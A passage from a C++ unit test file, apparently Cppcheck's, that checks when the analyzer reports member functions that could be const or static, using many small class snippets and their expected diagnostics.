foo1(int, int);\\n\"\n \" void foo2(int a, int b);\\n\"\n \" void foo3(int, int b);\\n\"\n \" void foo4(int a, int);\\n\"\n \" void foo5(int a, int b);\\n\"\n \"};\\n\"\n \"void Fred::foo1(int a, int b) { }\\n\"\n \"void Fred::foo2(int c, int d) { }\\n\"\n \"void Fred::foo3(int a, int b) { }\\n\"\n \"void Fred::foo4(int a, int b) { }\\n\"\n \"void Fred::foo5(int, int) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::foo1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:10:12]: (performance, inconclusive) Technically the member function 'Fred::foo2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:11:12]: (performance, inconclusive) Technically the member function 'Fred::foo3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:12:12]: (performance, inconclusive) Technically the member function 'Fred::foo4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:13:12]: (performance, inconclusive) Technically the member function 'Fred::foo5' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // check nested classes\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:6:12]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::A::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:7:14]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n // check deeply nested classes\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB() { return b; }\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\"\n , errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \" };\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:9:16]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \" int B::A::getA() { return a; }\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:10:15]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::B::A::getA() { return a; }\\n\"\n \"int Fred::B::getB() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:12:14]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:11:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator< can often be const\n void constoperator1() {\n checkConst(\"struct Fred {\\n\"\n \" int a;\\n\"\n \" bool operator<(const Fred &f) { return a < f.a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::operator<' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator<<\n void constoperator2() {\n checkConst(\"struct Foo {\\n\"\n \" void operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" std::cout << foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Fred::x' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator3() {\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) const { return array[index]; }\\n\"\n \" int & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style, inconclusive) Technically the member function 'Fred::operator[]' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator4() {\n // #7953\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint*' can be const. [functionConst]\\n\", errout_str());\n\n // #2375\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* (Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (style, inconclusive) Technically the member function 'Fred::operatorint**' can be const.\\n\", \"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* (Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { array[0] = 0; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constoperator5() { // ticket #3252\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint&' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorint' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator6() { // ticket #8669\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \" void f() { os >> *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const5() {\n // ticket #1482\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \" bool foo(int i)\\n\"\n \" {\\n\"\n \" bool same;\\n\"\n \" same = (i == a);\\n\"\n \" return same;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const6() {\n // ticket #1491\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct fast_string\\n\"\n \"{\\n\"\n \" union\\n\"\n \" {\\n\"\n \" char buff[100];\\n\"\n \" };\\n\"\n \" void set_type(char t);\\n\"\n \"};\\n\"\n \"inline void fast_string::set_type(char t)\\n\"\n \"{\\n\"\n \" buff[10] = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const7() {\n checkConst(\"class foo {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" void set(int i) { a = i; }\\n\"\n \" void set(const foo & f) { *this = f; }\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const8() {\n // ticket #1517\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A():m_strValue(\\\"\\\"){}\\n\"\n \" std::string strGetString() { return m_strValue; }\\n\"\n \"private:\\n\"\n \" std::string m_strValue;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const9() {\n // ticket #1515\n checkConst(\"class wxThreadInternal {\\n\"\n \"public:\\n\"\n \" void SetExitCode(wxThread::ExitCode exitcode) { m_exitcode = exitcode; }\\n\"\n \"private:\\n\"\n \" wxThread::ExitCode m_exitcode;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const10() {\n // ticket #1522\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x : x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x = 0 : x; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const11() {\n // ticket #1529\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" void set(struct tm time) { m_time = time; }\\n\"\n \"private:\\n\"\n \" struct tm m_time;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const12() {\n // ticket #1525\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { x = 0; }\\n\"\n \"private:\\n\"\n \" mutable int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const13() {\n // ticket #1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::vector GetVec() {return m_vec;}\\n\"\n \" std::pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:27]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::vector & GetVec() {return m_vec;}\\n\"\n \" const std::pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:30]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:35]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const14() {\n // extends ticket 1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double> GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:38]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:53]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:60]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int * * foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" const int ** foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const15() {\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned long long int get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const16() {\n // ticket #1551\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void set(int i) { Fred::a = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const17() {\n // ticket #1552\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" void set(int i, int j) { a[i].k = i; }\\n\"\n \"private:\\n\"\n \" struct { int k; } a[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const18() {\n checkConst(\"class Fred {\\n\"\n \"static int x;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::set' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const19() {\n // ticket #1612\n checkConst(\"using namespace std;\\n\"\n \"class Fred {\\n\"\n \"private:\\n\"\n \" std::string s;\\n\"\n \"public:\\n\"\n \" void set(std::string ss) { s = ss; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const20() {\n // ticket #1602\n checkConst(\"class Fred {\\n\"\n \" int x : 3;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:36]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const21() {\n // ticket #1683\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" const char * l1[10];\\n\"\n \"public:\\n\"\n \" A()\\n\"\n \" {\\n\"\n \" for (int i = 0 ; i < 10; l1[i] = NULL, i++);\\n\"\n \" }\\n\"\n \" void f1() { l1[0] = \\\"Hello\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const22() {\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1;\\n\"\n \"public:\\n\"\n \" void f1() { v1 = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1[0];\\n\"\n \"public:\\n\"\n \" void f1() { v1[0] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const23() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \" typedef Template Type;\\n\"\n \" typedef Template2 Type2;\\n\"\n \" void set_member(Type2 m) { _m = m; }\\n\"\n \"private:\\n\"\n \" Type2 _m;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const24() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \"void Settings::SetSetting(QString strSetting, QString strNewVal)\\n\"\n \"{\\n\"\n \" (*m_pSettings)[strSetting] = strNewVal;\\n\"\n \"}\\n\"\n \"private:\\n\"\n \" std::map *m_pSettings;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void const25() { // ticket #1724\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"const std::string strGetString1() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"const std::string strGetString1()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:19]: (style, inconclusive) Technically the member function 'A::strGetString1' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"size_t strGetSize()\\n\"\n \"{return m_strVec.size();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style, inconclusive) Technically the member function 'A::strGetSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"bool strGetEmpty()\\n\"\n \"{return m_strVec.empty();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (style, inconclusive) Technically the member function 'A::strGetEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const26() { // ticket #1847\n checkConst(\"class DelayBase {\\n\"\n \"public:\\n\"\n \"void swapSpecificDelays(int index1, int index2) {\\n\"\n \" std::swap(delays_[index1], delays_[index2]);\\n\"\n \"}\\n\"\n \"float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n 